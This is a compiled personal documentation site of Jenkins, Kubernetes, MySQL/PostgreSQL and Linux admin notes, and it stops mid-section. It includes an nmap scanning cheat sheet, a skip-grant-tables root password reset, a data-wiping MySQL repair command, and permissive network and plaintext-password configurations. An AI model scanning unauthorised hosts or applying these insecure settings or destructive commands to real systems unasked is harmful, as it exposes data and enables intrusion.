URL: https://docs.calebsargeant.com/computing/jenkins/getting-started/colocating-jobs-and-source-code-with-jenkinsfile/
View the [Pipeline Syntax documentation online:](https://www.jenkins.io/doc/book/pipeline/syntax/#agent)
Download example pipeline: [pipeline.groovy](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/jenkins/getting-started/_docs/pipeline.groovy)
Adding a trigger to the pipeline
Configuring Email server for Jenkins
Post Declarative Directive generator for regression, fixed, and changed
View the [Global Variable Reference](https://www.jenkins.io/doc/book/pipeline/getting-started/#global-variable-reference)
Generating email pipeline syntax
pipeline from single repo - scm
!!! note
You can create a new item and have Jenkins scan all repos in a GitHub org for Jenkinsfiles and create build processes for each
---
# Getting Started
Source: docs/computing/jenkins/getting-started/index.md
URL: https://docs.calebsargeant.com/computing/jenkins/getting-started/
---
# Setting up Jenkins
Source: docs/computing/jenkins/getting-started/setting-up-jenkins.md
URL: https://docs.calebsargeant.com/computing/jenkins/getting-started/setting-up-jenkins/
## Setup Wizard
---
# Jenkins
Source: docs/computing/jenkins/index.md
URL: https://docs.calebsargeant.com/computing/jenkins/
---
# Plugins
Source: docs/computing/jenkins/plugins/index.md
URL: https://docs.calebsargeant.com/computing/jenkins/plugins/
---
# Installing and Using Plugins
Source: docs/computing/jenkins/plugins/installing-and-using-plugins.md
URL: https://docs.calebsargeant.com/computing/jenkins/plugins/installing-and-using-plugins/
---
# Managing and Upgrading Plugins
Source: docs/computing/jenkins/plugins/managing-and-upgrading-plugins.md
URL: https://docs.calebsargeant.com/computing/jenkins/plugins/managing-and-upgrading-plugins/
---
# Understanding Jenkins and the Plugin Model
Source: docs/computing/jenkins/plugins/understanding-jenkins-and-the-plugin-model.md
URL: https://docs.calebsargeant.com/computing/jenkins/plugins/understanding-jenkins-and-the-plugin-model/
---
# Writing Custom Plugins
Source: docs/computing/jenkins/plugins/writing-custom-plugins.md
URL: https://docs.calebsargeant.com/computing/jenkins/plugins/writing-custom-plugins/
---
# Certified Kubernetes Administrator (CKA)
Source: docs/computing/kubernetes/cka.md
URL: https://docs.calebsargeant.com/computing/kubernetes/cka/
## Core Concepts
### Downloads
[Core Concepts 1](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0100+-+Core+Concepts.pdf)
[Core Concepts 2](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Core+concepts+-2.pdf)
[Services](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/kubernetes-services-updated.pdf)
### Practice Labs
-
-
-
-
-
## Scheduling
### Downloads
[Scheduling](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0200+-+Scheduling.pdf)
[Networking](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Networking.pdf)
[Taints & Tolerants](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Udemy+Kubernetes+taints-tolerations.pdf)
### Practice Labs
-
-
-
-
-
-
-
-
## Logging & Monitoring
### Downloads
[Logging & Monitoring](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0300+-+Logging-Monitoring.pdf)
### Practice Labs
-
-
## Application Lifecycle Management
### Downloads
[Application Lifecycle Management](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0400+-+Application+Lifecycle+Management.pdf)
### Practice Labs
-
-
-
-
-
-
## Cluster Maintenance
### Downloads
[Cluster Maintenance](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes-CKA-0500-Cluster+Maintenance-v1.2.pdf)
### Practice Labs
-
-
-
-
## Security
### Downloads
[Security](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0600+-+Security.pdf)
### Practice Labs
-
-
-
-
-
-
-
-
-
## Storage
### Downloads
[Storage](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0700+-+Storage.pdf)
### Practice Labs
-
-
## Networking
### Downloads
[Networking](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0800+-+Networking-v1.2.pdf) [Ingress](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Ingress.pdf)
### Practice Labs
-
-
-
-
-
-
-
-
## Design and Install a Kubernetes Cluster
### Downloads
[Design and Install](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes+-CKA-+0900+-+Install-v1.4.pdf)
## Install Kubernetes the kubeadm Way
### Practice Labs
-
## Troubleshooting
### Downloads
[Troubleshooting](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/kubernetes/_docs/Kubernetes-CKA-1000-Troubleshooting.pdf)
### Practice Labs
-
-
-
-
## Other Topics
### Practice Labs
-
-
---
# Moving to Declarative YAML
Source: docs/computing/kubernetes/declarative-yaml.md
URL: https://docs.calebsargeant.com/computing/kubernetes/declarative-yaml/
## kubectl apply
- Remember the three management approaches?
- Let's skip to full Declarative objects
- `kubectl apply -f filename.yml`
- Why skip `kubectl create`, `kubectl replace`, `kubectl edit`?
- What I recommend is not equal to all thats possible
### Using kubectl apply
- Create/update resources in a file
> - `kubectl apply -f myfile.yaml`
- Create/update a whole directory of yaml
> - `kubectl apply -f myyaml/`
- Create/update from a URL
> - `kubectl apply -f https://bret.run/pod.yml`
- Be careful, lets look at it first (browser or curl)
> - `curl -L https://bret.run/pod`
## Kubernetes Configuration YAML
- Kubernetes config file (YAML or JSON)
- Each file contains one or more manifests
- Each manifest describes an API object (deployment, job, secret)
- Each manifest needs four parts (root key:values in the file)
> - apiVersion
> - kind
> - metadata
> - spec
## Building your YAML Files
- **kind:** We can get a list of resources the cluster supports
> - `kubectl api-resources`
- Notice some resoucres have multiple APIs (old vs new)
- **apiVersion** We can get the API versions the cluster supports
> - `kubectl api-versions`
- **metadata:** only name is required
- **spec:** Where all the action is at!
## Buildng your YAML Spec
- We can get all the keys each **kind** supports
> - `kubectl explain services --recursive`
> - `kubectl explain services.spec`
- We can walk through the spec this way
> - `kubectl explain services.spec.type`
- spec: can have sub spect: of other resources
> - `kubectl explain deployment.spec.template.spec.volumes.nfs.server`
- We can also use docs
> - kubernetes.io/docs/reference/#api-reference
## Dry Runs and Diffs
- dry-run a create (client side only)
> - `kubectl apply -f app.yml --dry-run`
- dry-run a create/update on server
> - `kubectl apply -f app.yml --server-dry-run`
- see a diff visually
> - `kubectl diff -f app.yml`
## Labels and Annotations
- Labels goes under **metadata:** in your YAML
- Simple list of **key: value** for identifying your resource later by selecting, grouping, or filtering for it
- Common examples include **tier: frontend, app: api, env: prod, customer: acme.co**
- Not meant to hold complex, large, or non-identifying info, which is what **annotations** are for
- filter a get command
> - `kubectl get pods -l app=nginx`
- apply only matching labels
> - `kubectl apply -f myfile.yaml -l app=nginx`
## Label Selectors
- The "glue" telling Services and Deployments which pods are theirs
- Many resources use Label Selectors to "link" resource dependancies
- You'll see these match up in the Service and Deployment YAML
- Use Labels and Selectors to control which pods go to which nodes
- Taints and Tolerations also control node placement
---
# Exposing Kubernetes Ports
Source: docs/computing/kubernetes/exposing-ports.md
URL: https://docs.calebsargeant.com/computing/kubernetes/exposing-ports/
## Service Types
### Exposing Containers
- `kubectl expose` creates a **service** for existing pods
- A **service** is a stable address for pod(s)
- If we want to connect to pod(s), we need a **service**
- CoreDNS allows us to resolve **services** by name
- There are different types of **services**
> - ClusterIP
> - NodePort
> - LoadBalancer
> - ExternalName
### Basic Service Types
- ClusterIP (default)
> - Single, internal virtual IP allocated
> - Only reachable from within the cluster (nodes and podes)
> - Pods can reach service on apps port number
- NodePort
> - High port allocated on each node
> - Port is open on every node's IP
> - Anyone can connect (if they can reach the node)
> - Other pods need to be updated to this port
- These services are always available in Kubernetes
### More Service Types
- LoadBalancer
> - Controls a LB endpoint external to the cluster
> - Only available when infra provider gives ou a LB (AWS ELB, etc)
> - Creates NodePort+ClusterIP services, tells LB to send to NodePort
- ExternalName
> - Adds CNAME DNS record to CoreDNS only
> - Not used for Pods, but for giving pods a DNS name to use for something outside Kubernetes
## Creating a ClusterIP Service
- Open two shell windos so we can watch this
> - `kubectl get pods -w`
- In second window, lets start a simple http server using sample code
> - `kubectl create deployment httpenv --image=bretfisher/httpenv`
- Scale it to 5 replicas
> - `kubectl scale deployment/httpenv --replicas=5`
- Lets create a ClusterIP service (default)
> - `kubectl expose deployment/httpenv --port 8888`
### Inspecting ClusterIP Service
- Look up what IP was allocated
> - `kubectl get service`
- Remember this IP is cluster internal only, how do we curl it?
- If you're on DOcker Desktop (Host OS is not container OS)
> - `kubectl run --generator=run-pod/v1 tmp-shell --rm -it --image bretfisher/netshoot -- bash`
> - `curl httpenv:8888`
- If you're on Linux host
> - curl \[ip of service\]:8888
## Creating a NodePort and LoadBalancer Service
### Create a NodePort Service
- Lets expose a NodePort so we can access it via the host IP (including localhost)
> - `kubetcl expose deployment/httpenv --port 8888 -name httpenv-np --type NodePort`
- Did you know that a NodePort service also creates a ClusterIP?
- These three services are additive, each one creates the ones above it:
> - ClusterIP
> - NodePort
> - LoadBalancer
### Add a LoadBalancer Service
- If you're on Docker Desktop, it provides a built-in LoadBalancer that publishes the --port on localhost
> - `kubectl expose deployment/httpenv --port 8888 --name httpenv-lb --type LoadBalancer`
> - `curl localhost:8888`
- If you're on kubeadm, minikube, or microk8s
> - No built-in LB
> - You can still run the command, it'll just stay at "pending" (but its NodePort works)
## Kubernetes Services DNS
- Starting with 1.11, internal DNS is provided by CoreDNS
- Like Swarm, this is DNS-Based Service Discovery
- So far we've been using hostnames to access services
> - `curl `
- But that only works for Services in the same Namespace
> - `kubectl get namespaces`
- Services also have a FQDN
> - `curl ..svc.cluster.local`
---
# General
Source: docs/computing/kubernetes/general.md
URL: https://docs.calebsargeant.com/computing/kubernetes/general/
A Kubernetes deployment is a tier/micro-service of an application. The deployment isn't a container. A Kubernetes pod is an atomic unit of work and everything it takes to run a deployment. It could be one or more containers per pod.
``` bash
# View Kubernetes deployments
kubectl get deployments
# Show the running instances in a wide overview
kubectl get pods -o wide
# Show the load-balancers that give access
kubectl get services
# Show the clustered nodes
kubectl get nodes
# Get the IP Addresses of nodes
kubectl -n nodename get pods -o wide
# Move an application (change annotation)
kubectl -n nodename annotate pod podname example.com/endpoint-group='{"tenant":"tenantname","app-profile":"approfilename","name":"applicationname"}' --overwrite
```
---
# Kubernetes
Source: docs/computing/kubernetes/index.md
URL: https://docs.calebsargeant.com/computing/kubernetes/
---
# Kubernetes Install
Source: docs/computing/kubernetes/install.md
URL: https://docs.calebsargeant.com/computing/kubernetes/install/
## Architecture Terminology
- Kubernetes: the whole orchestration system
> - K8s "k-eights" or Kube for short
- Kubectl: CLI to configure Kubernetes and manage apps
> - Using "cube control" official pronunciation
- Node: Single server in the Kubernetes cluster
- Kubelet: Kubernetes agent running on nodes
- Control Plane: Set of containers that manage the cluster
> - Includes API server, scheduler, controller manager, etcd, and more
> - Sometimes called the master
## Installing Kubernetes
- Kubernetes is a series of containers, CLIs and configurations
- Many ways to install
- Docker Desktop: Enable in settings
> - Sets up everything inside Docker's existing Linux VM
- Docker Toolbox on Windows: MiniKube
> - Uses VirtualBox to make Linux VM
- Your Own Linux Host or VM: MicroK8s
> - Installs Kubernetes right on the OS
- Kubernetes in a browser
> - Try or katacoda.com in a browser
## Container Abstractions
- **Pod:** one or more containers running together on one Node
> - Basic unit of deployment. Containers are always in pods
- **Controller:** For creating/updating pods and other objects
> - Many types of Controllers inc. Deployment, ReplicaSet, StatefulSet, DaemonSet, Job, CronJob, etc.
- **Service:** network endpoint to connect to a pod
- **Namespace:** Filtered group of objects in cluster
- Secrets, ConfigMaps, and more
## Kubectl Command Styles
- Kubernets is evolving, and so is the CLI
- We get three ways to create pods from the kubectl CLI
> - `kubectl run` (changing to be only for pod creation)
> - `kubectl create` (create some resources via CLI or YAML)
> - `kubectl apply` (create/update anything via YAML)
## Our First Pod
### Creating Pods with kubectl
- Are we working?
> - `kubectl version`
- Two ways to deploy Pods (containers): via commands, or via YAML
- Lets run a pod of the nginx web server!
> - `kubectl run my-nginx --image nginx`
- Lets list the pod
> - `kubectl get pods`
- Lets see all objects
> - `kubectl get all`
### Pods -\> ReplicaSet -\> Deployment
### Cleanup
- Delete deployment
> - `kubectl delete deployment my-nginx`
## Scaling ReplicaSets
- Start a new deployment for one replica/pod
> - `kubectl run my-apache --image httpd`
- Lets scale it up with another pod
> - `kubectl scale deploy/my-apache --replicas 2`
> - `kubectl scale deployment my-apace --replicas 2`
> - Same command
> - deploy = deployment = deployments
## Inspecting Deployments
- `kubectl get pods`
- Get container logs
> - `kubectl logs deploy my-apache --follow --tail 1`
- Get a bunch of details about an object including events!
> - `kubectl logs -l run=my-apache`
> - `kubectl describe pod/my-apache-xxxxxx-yyyyy`
- Watch a command (without needing `watch`)
> - `kubectl get pods -w`
- In a seperate window
> - `kubectl delete pod/my-apache-xxx-yyy`
- Watch the pod get re-created
---
# Kubernetes Management Techniques
Source: docs/computing/kubernetes/management-techniques.md
URL: https://docs.calebsargeant.com/computing/kubernetes/management-techniques/
## Run, Expose, and Create Generators
- These commands use helper templates called "generators"
- Every resource in kubernetes has a specification or "spec"
> - `kubectl create deployment sample --image nginx --dry-run -o yaml`
- You can output those templates with `--dry-run -o yaml`
- You can use those YAML defaults as a starting point
- Generators are "opinionated defaults"
### Generator Examples
- Using dry-run with yaml output we can see the generators
> - `kubectl create deployment test --image nginx --dry-run -o yaml`
> - `kubectl create job test --image nginx --dry-run -o yaml`
> - `kubectl expose deployment/test --port 80 --dry-run -o yaml`
## The Future of kubectl run
- Right now (1.12-1.15) run is in a state of flux
- The goal is to reduce its features to only create pods
> - Right now its defaults to creating Deployments (with the warning)
> - It has lots of generators but they are all deprecated
> - The idea is to make it easy like `docker run` for one-off tasks
- It's not recommended for production
- Use for simple dev/test or troubleshooting pods
### Old Run Confusion
- The generators activate different Controllers based on options
- Using dry-run we can see which generators are used
> - `kubectl run test --image nginx --dry-run`
> - `kubectl run test --image nginx --port 80 expose --dry-run`
> - `kubectl run test --image nginx --restart OnFailure --dry-run`
> - `kubectl run test --image nginx --restart Never --dry-run`
> - `kubectl run test --image nginx --schedule "*/1 * * * *" --dry-run`
## Imperative vs Declaritive
- Imperative: Focus on *how* a program operates
- Declarative: Focus on *what* a program should accomplish
- Example: "I'd like a cup of coffee"
- Imperative: I boil water, scoop out 42 grams of medium-fine grounds, pour over 700 grams of water, etc.
- Declarative: "Barista, I'd like a cup of coffee (barista is the engine that works through the steps, including retrying to make a cup and is only finished when I have a cup)"
### Kubernetes Imperative
- Examples: `kubectl run`, `kubectl create deployment`, `kubectl update`
> - We start with a state we know (no deployments exist)
> - We ask kubectl run to create a deployment
- Different commands are required to change that deployment
- Different commands are required per object
- Imparitive is easier when you know the state
- Imparitive is easier to get started
- Imparative is easier for humans at the CLI
- Imperative is NOT easy to automate
### Kubernetes Declarative
- Example: `kubectl apple -f my-resources.yaml`
> - We don't know the current state
> - We only know what we want the end result to be (yaml contents)
- Same command each time (tiny exception for delete)
- Resources can be all in a file, or many files (apply a whole dir)
- Requires understanding the YAML keys and values
- More work than `kubectl run` for just starting a pod
- The easiest way to automate
- The eventual path to GitOps hapinness
## Management Approaches
- Imperative commands: run, expose, scale, edit, create deployment
> - Best for dev/learning/personal projects
> - Easy to learn, hardest to manage over time
- Imperative objects: create -f file.yml, replace -f file.yml, delete...
> - Good for prod of small environments, single file per command
> - Store your changes in git-based yaml files
> - Hard to automate
- Declarative objects: apply -f file or dir, diff
> - Best for prod, easier to automate
> - Harder to understand and predict changes
- Most important rule
> - DOn't mix the three approaches
> - Learn the Imperative CLI for easy control of local and test setups
> - Move to apply -f file.yml and apply -f directoryfor prod
> - Store yaml in git, git commit each change before
> - THis trains you later doing GitOPs (where git commits are automatically applied to clusters)
---
# Future of Kubernetes
Source: docs/computing/kubernetes/next-steps.md
URL: https://docs.calebsargeant.com/computing/kubernetes/next-steps/
## Storage
- Storage and stateful workloads are harder in all sytems
- Containers make it both harder and easier than before
- **StatefulSets** is a new resource type, making Pods more sticky
- Avoid stateful workloads for fist few deployments until you're good at the basics
> - Use db-as-a-service whenever you can
## Volumes
- Creating and connecting Volumes: 2 types
- **Volumes**
> - Tied to lifecycle of a pod
> - All containers in a single Pod can share them
- **PersistentVolumes**
> - Created at the cluster level, outlives a Pod
> - Seperates storage config from Pod using it
> - Multiple Pods can share them
- CSI plugins are the new way to connect to storage
## Ingress Controller
- None of our Service types work at OSI Layer 7 (HTTP)
- How do we route outside connections based on hostname or URL?
- Incress Controllers (optional) do this with 3rd proxy parties
- Nginx is popular, Traefik, HAProxy, F5, Envoy, Istio, etc.
- Implementation is specific to Controller chosen
## Custom Resources
### CRD's and The Operator Pattern
- YOu can add 3rd party Resources and Controllers
- THis extends Kubernetes API and CLI
- A pattern is starting to emerge of using these together
- Operator: automate deployment and management of complex apps
- e.g. Databases, monitoring tools, backups, and custom ingresses
## Higher Deployment Abstractions
- All our `kubectl` commands just talk to the Kubernets API
- Kubernetes has limited built-in templating, versioning, tracking, and management of your apps
- There are now over 60 3rd party tools to do that , but many are defunct
- **Helm** is the most popular
- "Compose on Kubernetes" comes with Docker Desktop
- Remember these are optional, and your distro may havbe a preference
- Most distros support **Helm**
### Templating YAML
- Many of the deployment tools have templating options
- You'll need a solution as the number of environments/apps grow
- **Helm** was the first "winner" in this space, but can be complex
- Official **Kustomize** feature works out-of-the-box (as of 1.14)
- `docker app` and compose-on-kubernetes are Docker's way
## Kubernetes Dashboard
- Default GUI for "upstream" Kubernetes
> - github.com/Kubernetes/dashboard
- Some distributions have their own GUI (Rancher, Docker Ent, OpenShift)
- Clouds dont have it by default
- Let's you view resources and upload YAML
- Safety first!
## Namespaces and Context
- Namespaces limit scope, aka "virtual clusters"
- Not related to Docker/Linux namespaces
- Won't need them in small clusters
- There are some built-in, to hide system stuff from `kubectl` "users"
> - `kubectl get namespaces`
> - `kubectl get all --all-namespaces`
- Context changes `kubectl` cluster and namespace
- See ~/.kube/config file
- `kubectl config get-contexts`
- `kubectl config set*`
## Future of Kubernetes
- More focus on stability and security
> - 1.14, 1.15, largely dull releases (good thing)
> - Recent security audit has created backlog
- Clearing away deprecated features like kubectl run generators
- Improving features like server-side dry-run
- More and improved Operators
- Helm 3.0 (easier deployment, chart repos, libs)
- More declarative-style features
- Better Windows Server support
- More edge cases, kubeadm HA clusters
### Related Projects
- Kubernetes has become "differencing and scheduling engin backbone" for so many new projects
- Knative - Serverless workloads on Kubernetes
- k3s - mini, simple Kubernetes
- k3OS - Minimal Linux OS for k3s
- Service Mesh - New layer in distributed app traffic for better control, security and monitoring
---
# Databases
Source: docs/computing/linux/databases.md
URL: https://docs.calebsargeant.com/computing/linux/databases/
## MySQL
### Creating a User
``` bash
# Note that localhost could be a location somewhere else, like a source IP Address of machine connecting to mysql
create user 'myuser'@'localhost' identified by 'password';
```
### Deleting a User
``` bash
# Note that localhost could be a location somewhere else, like a source IP Address of machine connecting to mysql
drop user 'user'@'localhost';
```
### Showing Users
``` bash
select user from mysql.user;
select user,host from mysql.user;
```
### Logging in Remotely
``` bash
# You can -p'mypassword' as well
mysql -u myuser -p -h mydbhostname.com -D mydatabase
```
### Privileges
``` bash
ALL PRIVILEGES- as we saw previously, this would allow a MySQL user full access to a designated database (or if no database is selected, global access across the system)
CREATE- allows them to create new tables or databases
DROP- allows them to them to delete tables or databases
DELETE- allows them to delete rows from tables
INSERT- allows them to insert rows into tables
SELECT- allows them to use the SELECT command to read through databases
UPDATE- allow them to update table rows
GRANT OPTION- allows them to grant or remove other users’ privileges
```
### Granting Privileges
``` bash
# Note that localhost could be a location somewhere else, like a source IP Address of machine connecting to mysql
grant all privileges on mydb.* to 'user'@'localhost';
flush privileges;
# Granting one privilege:
grant select privilege on *.* to user@host;
```
### Revoking Privileges
``` bash
# Note that localhost could be a location somewhere else, like a source IP Address of machine connecting to mysql
revoke DROP on databasename.tablename from 'username'@'localhost';
flush privileges;
```
### Showing Privileges
``` bash
show grants for 'username'@'host';
```
### Updating Data
``` bash
update table set column1=newvalue1, column2=newvalue2, where condition;
```
### Deleting Data
``` bash
delete from table_name where condition;
```
### Checking MySQL Status
``` bash
service mysqld status
ps aux | grep mysql
```
### Backup
``` bash
# Backup directly to a remote host (zabbix is the DB name)
# That pipes the mysqldump command through gzip, then to through and SSH connection. SSH on the remote side runs the ‘cat’ command to read the stdin, then redirects that to the actual file where I want it saved.
mysqldump -u root -p zabbix | gzip -c | ssh caleb.sargeant@server.example.com "cat > zabbix.sql.gz"
```
### Restore
The file must be in .sql format. It can not be compressed in a .zip or .tar.gz file.
`mysql -p -u username database_name < file.sql`
### Use
``` bash
show databases;
use database;
```
### Setting up Replication
### Size of DB
``` bash
SELECT table_schema "zabbix",
ROUND(SUM(data_length + index_length) / 1024 / 1024, 1) "DB Size in MB"
FROM information_schema.tables
GROUP BY table_schema;
select table_schema "DB Name", round(sum(data_length + index_length) / 1024 / 1024, 1) "DB Size in MB" From information_schema.tables group by table_schema;
```
### Resetting Root Password
``` bash
/etc/init.d/mysqld stop
mysqld_safe --skip-grant-tables &
mysql -u root
mysql> use mysql;
mysql> update user set password=PASSWORD("newrootpassword") where User='root';
mysql> flush privileges;
mysql> quit
/etc/init.d/mysqld stop
/etc/init.d/mysqld start
```
### Resetting User Password
``` bash
# MySQL v5.7.6 or later / MariaDB 10.1.20 or later
ALTER USER 'user-name'@'localhost' IDENTIFIED BY 'NEW_USER_PASSWORD';
FLUSH PRIVILEGES;
# If the above didn't work:
UPDATE mysql.user SET authentication_string = PASSWORD('NEW_USER_PASSWORD') WHERE User = 'user-name' AND Host = 'localhost';
FLUSH PRIVILEGES;
# MySQL v5.7.5 or earlier / MariaDB 10.1.20 or earlier
SET PASSWORD FOR 'user-name'@'localhost' = PASSWORD('NEW_USER_PASSWORD');
FLUSH PRIVILEGES;
```
### Update Encrypted Password
``` bash
update table set password=encrypt(password);
```
### Allow Root Access without Password as Root
In ~/.my.cnf file as root user:
``` bash
[client]
user=root
password=somepassword
```
### Checking the Version
``` bash
# https://stackoverflow.com/questions/8987679/how-to-retrieve-the-current-version-of-a-mysql-database-management-system-dbms
select @@version;
```
### Checking Database Size
``` bash
SELECT table_schema "DB Name",
ROUND(SUM(data_length + index_length) / 1024 / 1024, 1) "DB Size in MB"
FROM information_schema.tables
GROUP BY table_schema;
```
### Connect to Database Remotely
``` bash
mysql -u fooUser -p -h 44.55.66.77
```
### Import Database with Progress Bar
``` bash
pv dump.sql.tar.gz | tar xO | mysql -u $user -p $database
# Or
pv sqlfile.sql | mysql -u root -p database
```
### Reinstall Mysql after Deleting /var/lib/mysql
``` bash
mkdir /var/lib/mysql
mkdir /var/lib/mysql/mysql
chown -R mysql:mysql /var/lib/mysql
mysql_secure_installation
```
### Could not open mysql.plugin table
``` bash
systemctl stop mariadb
# This will delete all database data!
rm -R /var/lib/mysql/*
mysql_install_db --user=mysql --basedir=/usr --datadir=/var/lib/mysql
systemctl start mariadb
```
### Mysql Refuses Remote Connections
``` bash
# my.cnf
[mysqld]
bind-address = 0.0.0.0
```
### Access Denied for User Root at Localhost
### Authentication Plugin Caching Sha2 Password Cannot be Loaded
``` bash
ALTER USER 'yourusername'@'localhost' IDENTIFIED WITH mysql_native_password BY 'youpassword';
```
### Change MySQL Temp Folder
``` bash
nano /etc/mysqld.cnf
[mysqld]
tmpdir=/var/lib/mysql/tmp
mysqld --verbose --help | grep tmp
```
### Installing MySQL
``` bash
apt install mysql-server
mysql_secure_installation
```
### Json Like Query
``` bash
select * from module_data where data::json->>'title' like '%Board%'
select * from module_data where data->>'title' like '%Board%'
```
### Converting Epoch to Human Readable Date
``` bash
select from_unixtime();
```
### Find Columns in Tables
``` bash
SELECT DISTINCT TABLE_NAME
FROM INFORMATION_SCHEMA.COLUMNS
WHERE COLUMN_NAME IN ('columnA','ColumnB')
AND TABLE_SCHEMA='YourDatabase';
```
## PostgreSQL
### Showing Users
:~:text=Using%20psql%20command,-Log%20into%20PostgreSQL&text=Enter%20password%20to%20log%20into%20PostgreSQL.&text=Enter%20%5Cdu%20command%20to%20list%20all%20users%20in%20PostrgeSQL.&text=You%20will%20see%20the%20list,user%2C%20enter%20%5Cdu%2B%20command.
``` text
\du+
```
### Deleting Rows
``` bash
delete from msisdn_seen where msisdn like '27234843223';
```
### Selecting Rows
``` bash
# remember to use \G to display it nicely
select * from msisdn_seen where msisdn like '27234843223';
```
### Updating Data in Table
``` bash
update table_name set column1=value1 where condition;
```
### Show Tables
``` bash
\dt
```
### Connect to Database
Same as use in mysql
``` bash
\c database;
```
### Backup Database
``` bash
pg_dumpall -U postgres -h localhost --clean --file=dump.sql
```
### Disable Pager
``` bash
PAGER="less -S" psql
```
### Extracting JSON
``` bash
select event_time,detail->>'msisdn',detail->>'attachment' from table where whatever=whatever and event_time > '2021-12-22 00:00:01' and event_time <= '2022-01-07 23:59:59' and detail->>'attachment' like '%this%' order by id desc;
```
### Reducing Disk Usage
:~:text=1%20Answer&text=The%20temporary%20files%20that%20get,not%20delete%20them%20by%20hand.
Temporary files are created in `base/pgsql_tmp`. Rebooting psql forces the clearing of tmp files by restarting the cleanup query.
### Show Running Queries
:~:text=Long%2Dlasting%20%22idle%20in%20transaction%22%20should%20be%20avoided%2C,can%20cause%20major%20performance%20problems.
``` sql
SELECT pid, age(clock_timestamp(), query_start), usename, query
FROM pg_stat_activity
WHERE query != '' AND query NOT ILIKE '%pg_stat_activity%'
ORDER BY query_start desc;
select * from pg_stat_activity;
```
### Connect to PostgreSQL server FATAL no pg_hba.conf entry for host
``` bash
# postgresql.conf
listen_addresses = '*'
# pg_hba.conf
# TYPE DATABASE USER CIDR-ADDRESS METHOD
host all all 0.0.0.0/0 md5
service postgresql restart
```
### Vacuum
:~:text=Connect%20to%20the%20database%20and,which%20will%20also%20update%20statistics.
Vacuuming your postgres db must be done once in a while.
``` bash
VACUUM;
```
### Database Sizes
``` bash
SELECT pg_database.datname as "database_name", pg_database_size(pg_database.datname)/1024/1024 AS size_in_mb FROM pg_database ORDER by size_in_mb DESC;
```
---
# General
Source: docs/computing/linux/general.md
URL: https://docs.calebsargeant.com/computing/linux/general/
General, random and useful Linux-related config and things.
A good site to browse random commands and things:
## Apt & Yum Cheat Sheets
:
[Apt Cheat Sheet](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/APT%20Cheat%20Sheet%20-%20Packagecloud%20Blog.pdf)
[Yum Cheat Sheet](https://raw.githubusercontent.com/CalebSargeant/docs/master/docs/computing/linux/_docs/Yum%20Cheat%20Sheet%20-%20Packagecloud%20Blog.pdf)
## Yum
### Clear Yum Cache
``` bash
yum clean all
```
## Nmap
``` bash
# Scan a host
nmap www.hostname.com
# Scan a range
nmap 192.168.0.1-10
# Scan a subnet
nmap 192.168.0.1/24
# Scan a list of hosts
nmap -iL textlist.txt
# Scan a port
nmap -p 80 192.168.0.1
# Scan a range of ports
nmap -p 1-200 192.168.0.1
# Fast scan most common ports
nmap -F 192.168.0.1
# Scan all ports
nmap -p- 192.168.0.1
# Scan using TCP connect (takes longer but more likely to connect)
nmap -sT 192.168.0.1
# Scan default SYN scan (tests by performing only half the TCP handshake)
nmap -sS 192.168.0.1
# Scan UDP ports
nmap -sU -p 80,130,255 192.168.0.1
# Bypass host discovery (host discovery uses ping, but many firewalls don't respond to ping. This runs the test without waiting for ping response)
nmap -Pn -F 192.168.0.1
# Detect OS
nmap -A 192.168.0.1
# Scan for services that might be using different ports
nmap -sV 192.168.0.1
```
## Rsync
``` bash
# rsync without owner and group attributes
rsync -avP --no-o --no-g /mnt/data/share/ /mnt/server3/Backups/
# cronning rsync (https://unix.stackexchange.com/questions/392780/how-to-schedule-an-rsync-command)
crontab -e
0 19 * * * root rsync -a src dest
# rsync showing progress (https://www.cyberciti.biz/faq/show-progress-during-file-transfer/)
rsync -P src dest
# rsync exclude stuff
rsync -avP --exclude 'file_or_dir' src/ dst/
# rsync exclude from source file list
cat excl-list.txt
thisdir
thatdir
myfile.txt
rsync -av --exclude-from={excl-list.txt}
# stop rsync from bandwidth vreet (https://www.cyberciti.biz/faq/how-to-set-keep-rsync-from-using-all-your-bandwidth-on-linux-unix/)
rsync -avP --bwlimit=KBps
rsync -avP --bwlimit=1024 src/ dst/
# rsync specify multiple source dirs (https://unix.stackexchange.com/questions/368210/how-to-rsync-multiple-source-folders)
rsync -avP /src/one /src/two /src/etcetra /dst
```
### Rsync Compare Directories
``` bash
rsync -nai --delete source destination | grep "^deleting "
```
## Smartcl
``` bash
smartctl -H -d sat /dev/sda
```
## While Loop
``` bash
while true; do foo; sleep 2; done
```
## For Loop
``` bash
# Parellelize a for loop
for thing in a b c d e f g; do
task "$thing" &
done
```
## Moving Files with Spaces
``` bash
while IFS= read -r file; do echo "$file"; done < files
```
## IPv6
### Disabling IPv6
``` bash
nano /etc/sysctl.conf
net.ipv6.conf.all.disable_ipv6=1
net.ipv6.conf.default.disable_ipv6=1
net.ipv6.conf.lo.disable_ipv6=1
sudo sysctl -p
```
## Fstab
### Automounting
``` bash
# List all UUIDs of drives
blkid
# List all disks
fdisk -l
nano /etc/fstab
UUID=05cdfcb3-90fc-40ec-8ff1-3324e3767b1d /media/data ext4 defaults,nofail 0 0
```
### Emergency Mode Bad Fstab
``` bash
# Put SD card / HDD into another PC
